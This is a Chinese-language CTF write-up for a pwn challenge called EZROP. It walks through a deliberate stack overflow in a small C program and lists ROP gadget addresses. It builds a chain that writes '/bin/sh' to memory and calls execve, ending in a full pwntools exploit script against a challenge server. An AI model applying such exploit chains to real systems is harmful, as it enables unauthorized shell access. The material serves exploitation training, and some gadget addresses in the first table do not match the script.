# ROP-EZROP(b33f adv_pwn) {%hackmd M1bgOPoiQbmM0JRHWaYA1g %} > Author:堇姬 ## 確認保護 ![image](https://hackmd.io/_uploads/S1HSeqVXA.png) 開NX沒辦法寫shellcode,另外他開了canary,但其實沒開(沒有check canary的判斷式) ![image](https://hackmd.io/_uploads/ryJcbq4QA.png) 如果有開會有這個 ![image](https://hackmd.io/_uploads/BkWlQ94QR.png) ## source code read的buffer overflow一樣給好給滿 ```c #include <stdio.h> int main(){ char buf[0x40]; setvbuf(stdin,0,_IONBF,0); setvbuf(stdout,0,_IONBF,0); printf("Give me your overflow: "); read(0,buf,0x400); // oops! return 0; } ``` 基本上應該是要直接堆ROP 所以我們看看堆出execve需要甚麼吧 - execve('/bin/sh') |暫存器|值| |---|----| |rax|0x3b| |rdi|要執行的參數值(/bin/sh)| |rsi|argv(這裡=0)| |rdx|envp(這裡=0)| 先找看看有沒有pop register;ret之類的可以控這些register ROPgadget找位置 |暫存器|位置| |---|----| |pop rax ;ret|0x42e3a7| |pop rdi ;ret|0x402540| |pop rsi ;ret|0x4126a3| |pop rdx ; pop rbx ; ret|0x47b917| |syscall|0x401c54| 目前發現所有register都是可控的 但是我們必須找到一段可以寫入`/bin/sh`的地方,所以我們可以嘗試用這種gadget ``` mov QWORD PTR [register1], register2;ret ``` 他會把`register2`的值寫入到`register1`所存值得記憶體位置 |暫存器|位置| |---|----| |mov qword ptr [rsi], rdx ; ret|0x487e8a| 目前看到data段0x4c5000~0x4c8000可寫,所以嘗試去找看起來沒用到的memory ![image](https://hackmd.io/_uploads/BJjBtqN7C.png) `0x4c50e0`看起來沒東西,嘗試寫到那。 ![image](https://hackmd.io/_uploads/rJvNYc4QA.png) stack狀況 ``` AAAAAA(0x48個蓋buf跟old rbp) pop rdx ; pop rbx /bin/sh\x00 0 pop rsi 0x4c50e0 mov qword ptr [rsi], rdx ; ret ``` 目前狀況run起來用gdb下b在main最後的ret看看 ```python= from pwn import * context.arch='amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] tst=input() if tst==1: r=remote('chall.nckuctf.org', 10007) else: r=process("./rop") write_binsh={ "pop_rdx_addr":0x485a8b, "pop_rdx_value":b'/bin/sh\x00', "pop_rbx_value":0, "pop_rsi_addr":0x409f0e, "pop_rsi_value":0x4c50e0, "mov":0x487e8a } writebinsh_payload=flat(write_binsh["pop_rdx_addr"], write_binsh["pop_rdx_value"], write_binsh["pop_rbx_value"], write_binsh["pop_rsi_addr"], write_binsh['pop_rsi_value'], write_binsh["mov"] ) gdb.attach(r,"b *0x00000000004017f2") r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload) r.interactive() ``` 已經成功把`/bin/sh`寫到`0x4c50e0` ![image](https://hackmd.io/_uploads/SkrIaj470.png) 接下來開始堆參數 |暫存器|位置|要蓋的值| |---|----|----| |pop rax ;ret|0x44fd07|0x3b| |pop rdi ;ret|0x401e9f|0x4c50e0| |pop rsi ;ret|0x409f0e|0| |pop rdx ; pop rbx ; ret|0x485a8b|0 0| |syscall|0x401c54|無| stack狀況 ``` AAAAAA(0x48個蓋buf跟old rbp) pop rdx ; pop rbx /bin/sh\x00 0 pop rsi 0x4c50e0 mov qword ptr [rsi], rdx ; ret pop rax 0x3b pop rdi 0x4c50e0 pop rsi 0 pop rdx ; pop rbx 0 0 syscall ``` 這樣就成功堆出execve了 ## Solve Script ```python= from pwn import * context.arch='amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] tst=input() if tst=='1': r=remote('chall.nckuctf.org', 10007) else: r=process("./rop") write_binsh={ "pop_rdx_addr":0x485a8b, "pop_rdx_value":b'/bin/sh\x00', "pop_rbx_value":0, "pop_rsi_addr":0x409f0e, "pop_rsi_value":0x4c50e0, "mov":0x487e8a } writebinsh_payload=flat(write_binsh["pop_rdx_addr"], write_binsh["pop_rdx_value"], write_binsh["pop_rbx_value"], write_binsh["pop_rsi_addr"], write_binsh['pop_rsi_value'], write_binsh["mov"] ) ROPvar={ 'pop_rax_ret':0x44fd07, 'pop_rdi_ret':0x401e9f, 'pop_rsi_ret':0x409f0e, 'pop_rdx_rbx_ret':0x485a8b, 'syscall':0x401c54 } STACKvar={ 'rax_var':0x3b, 'rdi_var':0x4c50e0, 'rsi_var':0, 'rdx_var':0, 'rbx_var':0 } ROP_payload=flat(ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['pop_rdx_rbx_ret'], STACKvar['rdx_var'], STACKvar['rbx_var'], ROPvar['syscall']) if tst!='1': gdb.attach(r,"b *0x00000000004017f2") r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload+ROP_payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/BJrJE2NXR.png)